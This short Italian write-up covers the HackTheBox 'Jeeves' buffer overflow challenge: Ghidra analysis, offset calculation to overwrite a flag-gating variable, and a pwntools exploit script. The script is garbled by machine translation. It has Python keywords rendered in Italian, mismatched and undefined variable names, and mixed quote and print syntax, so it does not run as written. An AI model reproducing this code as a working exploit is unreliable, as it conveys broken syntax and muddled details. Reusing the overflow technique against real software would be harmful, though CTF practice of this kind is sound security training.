Abbiamo coperto uno scenario di un binario vulnerabile alla vulnerabilità del buffer overflow. Il binario ha le protezioni NX e PIE abilitate, quindi abbiamo aperto il binario con il debugger Ghidra e creato la metodologia di sfruttamento basata sul calcolo degli offset della variabile di input e di un'altra variabile che controlla una voce in un'istruzione if che stampa il flag. L'obiettivo era controllare il valore di quel binario e lasciare che il flusso di esecuzione entrasse nell'istruzione if. Questo faceva parte HackTheBox Jeeves Introduzione al percorso di sfruttamento binario.
Note sulle tecniche di buffer overflow
Il codice dell'exploit è riportato di seguito
##Binzio
dall'importazione pwn *
obiettivo = processo("nc")
target.sendline("porta IP")
carico utile = “A”*60
byte_in_stringa = p64(valore)
carico utile = carico utile + byte_to_string.decode("ISO-8859-1")
target.sendline(carico utile)
print target.recvuntil(“.”)
##Fine
Videoprocedura dettagliata